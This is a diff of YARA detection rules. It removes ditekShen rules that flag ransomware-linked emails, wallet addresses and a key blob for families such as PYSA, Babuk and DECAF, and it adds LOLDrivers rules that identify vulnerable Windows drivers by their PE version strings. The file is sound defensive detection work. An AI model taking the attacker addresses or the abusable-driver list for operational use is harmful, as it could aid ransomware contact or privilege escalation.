-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L301-L310"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b12b24b7b1b9800d249fd322532d957ddfc020c495ca89414d8d7e9fa7d58eb7"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ngiodriver.sys"
+		author = "Florian Roth"
+		id = "8604d594-f5ab-5015-907a-4424cd2e62b8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1317-L1337"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1072beb3ff6b191b3df1a339e3a8c87a8dc5eae727f2b993ea51b448e837636a"
+		hash = "e8eb1c821dbf56bde05c0c49f6d560021628df89c29192058ce68907e7048994"
+		logic_hash = "99645f9bf3c3ba88788ad609ee067cdda808effac07990db725b9be5fca32658"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "blackspyro@tutanota.com" ascii wide nocase
-		$s2 = "blackspyro@mailfence.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0061007600610073007400210020004e0047002000730065007400750070002000680065006c0070006500720020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0030002e0031003100320036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0030002e0031003100320036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0061007600610073007400210020004e0047 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003200200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Ryzerlo
+rule LOLDRIVERS_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_8A07 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Ryzerlo / HiddenTear / RSJON ransomware"
-		author = "ditekShen"
-		id = "1e8b79dc-4a81-5126-a7a3-ad7a2e8f62bf"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L312-L320"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2d925cac74411c3e408d674e27a27ae029d39977026a79df8f90edae345a31db"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "6820d35b-66a3-512f-a734-0adefbf6a183"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1340-L1369"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8a0702681bc51419fbd336817787a966c7f92cabe09f8e959251069578dfa881"
+		hash = "26e3bfef255efd052a84c3c43994c73222b14c95db9a4b1fc2e98f1a5cb26e43"
+		hash = "65e3548bc09dffd550e79501e3fe0fee268f895908e2bba1aa5620eb9bdac52d"
+		hash = "b738eab6f3e32cec59d5f53c12f13862429d3db6756212bbcd78ba4b4dbc234c"
+		hash = "3e07bb866d329a2f9aaa4802bad04fdac9163de9bf9cfa1d035f5ca610b4b9bf"
+		hash = "fb1183ef22ecbcc28f9c0a351c2c0280f1312a0fdf8a9983161691e2585efc70"
+		hash = "b4c07f7e7c87518e8950eb0651ae34832b1ecee56c89cdfbd1b4efa8cf97779f"
+		hash = "d366cbc1d5dd8863b45776cfb982904abd21d0c0d4697851ff54381055abcfc8"
+		hash = "c50f8ab8538c557963252b702c1bd3cee4604b5fc2497705d2a6a3fd87e3cc26"
+		hash = "53bd8e8d3542fcf02d09c34282ebf97aee9515ee6b9a01cefd81baa45c6fd3d6"
+		hash = "0484defcf1b5afbe573472753dc2395e528608b688e5c7d1d178164e48e7bed7"
+		logic_hash = "b1abafa69f65ebde217ebc1fbde8d19c00054aeb37f111bf82be07cf08525235"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "darkjon@protonmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310033002000430050005500490044 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_PYSA
+rule LOLDRIVERS_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_0D37 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with PYSA / Mespinoza ransomware"
-		author = "ditekShen"
-		id = "b26d472b-c94e-576d-b168-6f273bb8fca5"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L322-L340"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cf0fbc0160f1d21efdb4a6935ae0d2206107042e3d020722f50d2c302aff246c"
-		score = 75
-		quality = 55
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "46f31bf7-9e9f-5fe2-95cc-1b0be823c41b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1372-L1409"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0d3790af5f8e5c945410929e31d06144a471ac82f828afe89a4758a5bbeb7f9f"
+		hash = "523d1d43e896077f32cd9acaa8e85b513bfb7b013a625e56f0d4e9675d9822ba"
+		hash = "df0dcfb3971829af79629efd036b8e1c6e2127481b3644ccc6e2ddd387489a15"
+		hash = "636b4c1882bcdd19b56370e2ed744e059149c64c96de64ac595f20509efa6220"
+		hash = "e51ec2876af3c9c3f1563987a9a35a10f091ea25ede16b1a34ba2648c53e9dfc"
+		hash = "9a523854fe84f15efc1635d7f5d3e71812c45d6a4d2c99c29fdc4b4d9c84954c"
+		hash = "d0543f0fdc589c921b47877041f01b17a534c67dcc7c5ad60beba8cf7e7bc9c6"
+		hash = "b9695940f72e3ed5d7369fb32958e2146abd29d5895d91ccc22dfbcc9485b78b"
+		hash = "b01ebea651ec7780d0fe88dd1b6c2500a36dacf85e3a4038c2ca1c5cb44c7b5d"
+		hash = "8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6"
+		hash = "1ee59eb28688e73d10838c66e0d8e011c8df45b6b43a4ac5d0b75795ca3eb512"
+		hash = "c8f0bb5d8836e21e7a22a406c69c01ba7d512a808c37c45088575d548ee25caa"
+		hash = "5b3705b47dc15f2b61ca3821b883b9cd114d83fcc3344d11eb1d3df495d75abe"
+		hash = "67734c7c0130dd66c964f76965f09a2290da4b14c94412c0056046e700654bdc"
+		hash = "a11cf43794ea5b5122a0851bf7de08e559f6e9219c77f9888ff740055f2c155e"
+		hash = "80eeb8c2890f3535ed14f5881baf2f2226e6763be099d09fb8aadaba5b4474c1"
+		hash = "19696fb0db3fcae22f705ae1eb1e9f1151c823f3ff5d8857e90f2a4a6fdc5758"
+		hash = "e58bbf3251906ff722aa63415bf169618e78be85cb92c8263d3715c260491e90"
+		hash = "11d258e05b850dcc9ecfacccc9486e54bd928aaa3d5e9942696c323fdbd3481b"
+		logic_hash = "b1f0e78bd40da89202a98d2a74d47af7f28092832dc1b063f1d4c4ef04e1cef1"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "luebegg8024@onionmail.org" ascii wide nocase
-		$s2 = "mayakinggw3732@onionmail.org" ascii wide nocase
-		$s3 = "lauriabornhat7722@protonmail.com" ascii wide nocase
-		$s4 = "DeborahTrask@onionmail.org" ascii wide nocase
-		$s5 = "AlisonRobles@onionmail.org" ascii wide nocase
-		$s6 = "NatanSchultz67@protonmail.com" ascii wide nocase
-		$s7 = "jonikemppi@onionmail.org" ascii wide nocase
-		$s8 = "lanerosalie49003@onionmail.org" ascii wide nocase
-		$s9 = "bernalmargaret645@onionmail.org" ascii wide nocase
-		$s10 = "carlhubbard2021@protonmail.com" ascii wide nocase
-		$u1 = "http://pysa2bitc" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310030002000430050005500490044 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Ranzylocker
+rule LOLDRIVERS_PUA_VULN_Driver_Proxydrvsys_Nn_C0E7 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with RanzyLocker ransomware"
-		author = "ditekShen"
-		id = "33478dc4-c0ec-5cc8-8620-79e770f6a773"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L354-L363"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dc345257a3cca82a95e20505c94e90d8ac42240e1491ea1f34be121871673e26"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ProxyDrv.sys"
+		author = "Florian Roth"
+		id = "e50ded09-0134-5c76-85e5-9fed8302e1e8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1412-L1431"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c0e74f565237c32989cb81234f4b5ad85f9dd731c112847c0a143d771021cb99"
+		logic_hash = "b4248d60006efcf3f489cfad8a68bbf594bd45f75e8b9c8d7b9f727c6ee05042"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "eviluser@tutanota.com" ascii wide nocase
-		$s2 = "evilpr0ton@protonmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]96f7795e004e004e52a0901f5668002d9a7152a87a0b5e8f65874ef6 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]96f7795eff086b666c49ff097f517edc6280672f67099650516c53f8 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c0039002c0035002c0033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035002e0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500072006f00780079004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]96f7795e004e004e52a0901f5668 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500072006f00780079004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000400020005700770077002e004e006e002e0043006f006d }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Alkhal
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_5381 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with AlKhal ransomware"
-		author = "ditekShen"
-		id = "32e14a6e-fc2e-5c0a-b8e3-33e219923d90"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L365-L374"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bd2d66a9cd33ab15b451158cd6c0e6579735653611ee2e6c8045a5807091938d"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		id = "29276926-535b-55f9-a882-845fc9561513"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1434-L1454"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "53810ca98e07a567bb082628d95d796f14c218762cbbaa79704740284dccda4b"
+		hash = "8e88cb80328c3dbaa2752591692e74a2fae7e146d7d8aabc9b9ac9a6fe561e6c"
+		hash = "003e61358878c7e49e18420ee0b4a37b51880be40929a76e529c7b3fb18e81b4"
+		logic_hash = "3803b2f85576fc0bad1a8e3dbfc3c5bee7ba7146560be9d60d685b40adf91838"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "alkhal@tutanota.com" ascii wide nocase
-		$s2 = "cyrilga@tutanota.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310031002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_DECAF
+rule LOLDRIVERS_PUA_VULN_Driver_Netfiltersys_26D6 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with DECAF ransomware"
-		author = "ditekShen"
-		id = "24422015-56f3-503e-a902-0183eb601b22"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L376-L408"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8fca3a6564cd11e625b65e7f0f278b79678368dd0c77440e9f8d46035e0c3426"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - netfilter2.sys"
+		author = "Florian Roth"
+		id = "906cd223-3c34-5e3b-8a04-97b87e9e1752"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1457-L1478"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "26d67d479dafe6b33c980bd1eed0b6d749f43d05d001c5dcaaf5fcddb9b899fe"
+		hash = "6a234a2b8eb3844f7b5831ee048f88e8a76e9d38e753cc82f61b234c79fe1660"
+		hash = "2fa78c2988f9580b0c18822b117d065fb419f9c476f4cfa43925ba6cd2dffac3"
+		logic_hash = "66f4b6bb594702e2bbc813988f048170277f5dd06f840b9c9bf7269a774654d7"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "22eb687475f2c5ca30b@protonmail.com" ascii wide nocase
-		$s2 = { 4d 49 49 42 43 67 4b 43 41 51 45 41 71 34 6b 31
-                48 64 62 31 54 48 72 7a 42 42 65 4f 31 38 34 6b
-                6e 43 62 42 4b 72 30 33 61 70 66 58 71 6c 4f 6b
-                53 64 74 48 53 4a 67 66 79 49 71 4a 50 47 78 6c
-                0a 2f 63 46 69 73 4a 6d 56 58 52 33 2f 74 34 65
-                39 46 62 4c 73 45 49 75 54 70 39 50 4a 54 63 69
-                6f 6d 48 66 72 35 43 67 43 51 7a 68 6e 41 5a 30
-                41 76 6a 47 42 61 57 50 36 4b 70 43 79 66 44 6e
-                73 0a 79 62 72 75 79 4b 71 79 67 61 57 70 5a 53
-                41 6e 7a 52 64 42 2b 54 41 6b 75 35 69 71 79 38
-                71 31 56 77 6e 4e 35 37 51 42 6c 74 72 6f 30 59
-                4a 5a 38 65 6e 4b 5a 52 54 6c 63 7a 6d 74 6a 65
-                4f 70 0a 42 2f 78 75 54 4f 75 44 6a 6d 55 53 4e
-                69 47 79 69 6a 57 42 56 66 59 6b 37 73 56 58 6c
-                2f 6c 51 38 74 61 58 72 33 36 78 50 57 68 4d 49
-                47 30 45 71 52 56 72 46 56 2b 63 61 76 53 37 5a
-                34 76 61 0a 79 58 6d 63 66 35 35 4e 6b 70 4d 47
-                4b 4b 59 38 75 71 76 77 62 34 61 4c 49 4b 61 62
-                65 6b 32 6e 55 57 42 67 4e 67 53 4f 74 71 42 4c
-                4c 4c 32 41 32 62 59 2f 35 73 30 47 4a 2f 56 56
-                2b 45 6d 49 0a 58 37 2f 7a 49 2b 46 63 65 55 2b
-                64 63 4e 58 2f 69 72 30 75 6a 50 34 79 73 34 6d
-                2f 6a 6a 5a 44 34 77 49 44 41 51 41 42 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570059004a00530051002000540044004900200048006f006f006b0020004400720069007600650072002000280057005000500029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]5b8f56fe65e05fe7 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0039002e00350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]65e05fe752a0901f5668 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9002000770079006a00730071002e0063006f006d }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Babuk
+rule LOLDRIVERS_PUA_VULN_Driver_Asustek_Driversys_Ectool_927C : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Babuk ransomware"
-		author = "ditekShen"
-		id = "139cea69-9661-5cb7-bf74-a14e3556c759"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L410-L426"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "129b1364bb59423aab1f5f67a4c2d2a76a9c4f55aa6aa1e59bcebc717a14ee19"
-		score = 75
-		quality = 61
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - driver7-x86-withoutdbg.sys"
+		author = "Florian Roth"
+		id = "4513216a-2654-5743-8550-01e82743f67a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1481-L1503"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "927c2a580d51a598177fa54c65e9d2610f5f212f1b6cb2fbf2740b64368f010a"
+		hash = "42851a01469ba97cdc38939b10cf9ea13237aa1f6c37b1ac84904c5a12a81fa0"
+		hash = "1beb15c90dcf7a5234ed077833a0a3e900969b60be1d04fcebce0a9f8994bdbb"
+		hash = "771a8d05f1af6214e0ef0886662be500ee910ab99f0154227067fddcfe08a3dd"
+		logic_hash = "edb698ba1d60e24a41c683a8c0a36548d01c4abd09f5a6cd2358ccf0d8e234ba"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "mitnickd@ctemplar.com" ascii wide nocase
-		$s2 = "zar8b@tuta.io" ascii wide nocase
-		$s3 = "recover300dollars@gmail.com" ascii wide nocase
-		$s4 = "support.3330@gmail.com" ascii wide nocase
-		$s5 = "decryptdelta@gmail.com" ascii wide nocase
-		$s6 = "pyotrmaksim@gmail.com" ascii wide nocase
-		$s7 = "retrievedata300@gmail.com" ascii wide nocase
-		$s8 = "3JG36KY6abZTnHBdQCon1hheC3Wa2bdyqs" ascii wide
-		$s9 = "46zdZVRjm9XJhdjpipwtYDY51NKbD74bfEffxmbqPjwH6efTYrtvbU5Et4AKCre9MeiqtiR51Lvg2X8dXv1tP7nxLaEHKKQ" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400680065002000640072006900760065007200200066006f007200200074006800650020004500430074006f006f006c0020006400720069007600650072002d0062006100730065006400200074006f006f006c0073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300740065006b }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044007200690076006500720037002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0045004300200074006f006f006c }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044007200690076006500720037 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Rapid
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmelsys_Trendmicroearlylaunchantimalwaredriver_DD62 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Rapid ransomware"
-		author = "ditekShen"
-		id = "a1c6f3c0-2fec-5d96-9965-8129a843ae90"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L428-L436"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ea82a3fcb1d836e1c250e9a576064e1babdb82b4970555260af2eb68726cfd16"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Tmel.sys"
+		author = "Florian Roth"
+		id = "31dc7b9b-b8bd-5af5-be43-ad3bfdc2a5b3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1506-L1525"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "dd628061d6e53f3f0b44f409ad914b3494c5d7b5ff6ff0e8fc3161aacec93e96"
+		logic_hash = "f0bf2e418bed091c1d9f1d604f284586f27d2d28b277c29f241aeaee9b9bdccf"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "jimmyneytron@tuta.io" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200045004c0041004d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0030002e0031003000300032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0065006c002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f0020004500610072006c00790020004c00610075006e0063006800200041006e00740069002d004d0061006c00770061007200650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0065006c002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Satana
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorp_Stdcdrvwssys_Selftestdatacollectordriverforwindowsx_70AF : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Satana ransomware"
-		author = "ditekShen"
-		id = "a362d4ca-d475-5392-a3ac-45337425d8e7"
-		date = "2024-01-23"
-		modified = "2024-01-23"
